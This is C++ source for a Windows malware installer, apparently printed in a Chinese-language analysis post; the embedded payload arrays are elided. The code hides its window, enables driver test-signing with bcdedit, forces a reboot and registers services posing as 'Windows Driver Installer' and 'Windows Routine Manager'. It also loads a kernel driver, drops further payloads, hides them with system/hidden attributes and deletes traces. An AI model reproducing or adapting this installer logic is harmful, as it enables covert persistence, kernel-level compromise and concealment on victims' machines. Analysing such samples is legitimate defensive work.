void WINAPI ServiceMain(int argc, char** argv)
{
servicestatus.dwServiceType = SERVICE_WIN32;
servicestatus.dwCurrentState = SERVICE_START_PENDING;
servicestatus.dwControlsAccepted = NULL;
servicestatus.dwWin32ExitCode = 0;
servicestatus.dwServiceSpecificExitCode = 0;
servicestatus.dwCheckPoint = 0;
servicestatus.dwWaitHint = 0;
hstatus = ::RegisterServiceCtrlHandler(L"lsload", CtrlHandler);
if (hstatus == 0)
{
return;
}
servicestatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(hstatus, &servicestatus);
brun = true;
while (brun)
{
system("ren C:\\Users\\LongYao\\BoilSea\\BoilSea.s BoilSea.sys");
system("sc create \"BoilSea\" binPath= \"C:\\Users\\LongYao\\BoilSea\\BoilSea.sys\" type= kernel start= auto");
system("sc start BoilSea");
ofstream ofs;
ofs.open("C:\\Users\\LongYao\\BoilSea\\BoilSea.exe", ios_base::out | ios_base::binary);
ofs.write((char*)boil_sea_exe, sizeof(boil_sea_exe));
ofs.close();
ofstream ofsd;
ofsd.open("C:\\Users\\LongYao\\BoilSea\\list.lt", ios_base::out | ios_base::binary);
ofsd.write((char*)boil_sea_list, sizeof(boil_sea_list));
ofsd.close();
AutoRun("BoilSea");
system("mkdir C:\\Windows\\LocalService");
string c = "copy " + path + " C:\\Windows\\LocalService";
system(c.data());
system("ren C:\\Windows\\LocalService\\Driver.exe DrvInst.e");
ofstream ofss;
ofss.open("C:\\Windows\\LocalService\\Routine.exe", ios_base::out | ios_base::binary);
ofss.write((char*)boil_sea_daemon, sizeof(boil_sea_daemon));
ofss.close();
system("sc create \"Windows Routine Manager\" binPath= \"C:\\Windows\\LocalService\\Routine.exe\" start= auto");
system("sc start \"Windows Routine Manager\"");
system("ATTRIB +h +s +r C:\\Windows\\LocalService\\Routine.exe");
system("ATTRIB +h +s +r C:\\Windows\\LocalService\\Driver.e");
system("ATTRIB +h +s +r C:\\Windows\\LocalService");
system("ATTRIB +h +s +r C:\\Users\\LongYao\\BoilSea\\BoilSea.sys");
system("ATTRIB +h +s +r C:\\Users\\LongYao\\BoilSea\\BoilSea.exe");
system("ATTRIB +h +s +r C:\\Users\\LongYao\\BoilSea\\Driver.exe");
system("ATTRIB +h +s +r C:\\Users\\LongYao\\BoilSea\\list.lt");
system("ATTRIB +h +s +r C:\\Users\\LongYao\\BoilSea");
system("ATTRIB +h +s +r C:\\Users\\LongYao");
system("sc delete \"Windows Driver Installer\"");
system("start C:\\Users\\LongYao\\BoilSea\\BoilSea.exe & start taskkill /im Driver.exe /f /t & start del C:\\Users\\LongYao\\BoilSea\\Driver.exe");
}
}
void WINAPI CtrlHandler(DWORD request)
{
switch (request)
{
case SERVICE_CONTROL_STOP:
break;
case SERVICE_CONTROL_SHUTDOWN:
break;
default:
break;
}
SetServiceStatus(hstatus, &servicestatus);
}
void HideWindow() {
HWND hwnd = GetForegroundWindow();
ShowWindow(hwnd, SW_HIDE);
}
int __cdecl main(int argc, char** argv)
{
if (argc == 2)
{
string argv_s = argv[1];
if (argv_s == "s")
{
SERVICE_TABLE_ENTRY entrytable[2];
entrytable[0].lpServiceName = (LPWSTR)L"Windows Driver Installer";
entrytable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
entrytable[1].lpServiceName = NULL;
entrytable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(entrytable);
return 0;
}
}
else {
HideWindow();
string path = __argv[0];
system("mkdir C:\\Users\\LongYao\\BoilSea");
string copycommand = "copy \"" + path + "\" C:\\Users\\LongYao\\BoilSea";
system(copycommand.data());
system("ren C:\\Users\\LongYao\\BoilSea\\DrvInst.exe Driver.exe");
ofstream ofs;
ofs.open("C:\\Users\\LongYao\\BoilSea\\BoilSea.s", ios_base::out | ios_base::binary);
ofs.write((char*)boil_sea_sys,sizeof(boil_sea_sys));
ofs.close();
system("sc create \"Windows Driver Installer\" binPath= \"C:\\Users\\LongYao\\BoilSea\\Driver.exe s\" start= auto");
system("bcdedit /set testsigning on");
system("shutdown -r -t 0");
exit(0);
}
}
inst.exe -> R.h
unsigned char boil_sea_list[] = {...};
unsigned char boil_sea_sys[] = {...};
unsigned char boil_sea_exe[] ={...};
unsigned char boil_sea_daemon[] = {...};
释放方式详见:如何释放任意资源文件到本地
数据大小不同可能是病毒每个模块都有64Signer的签名。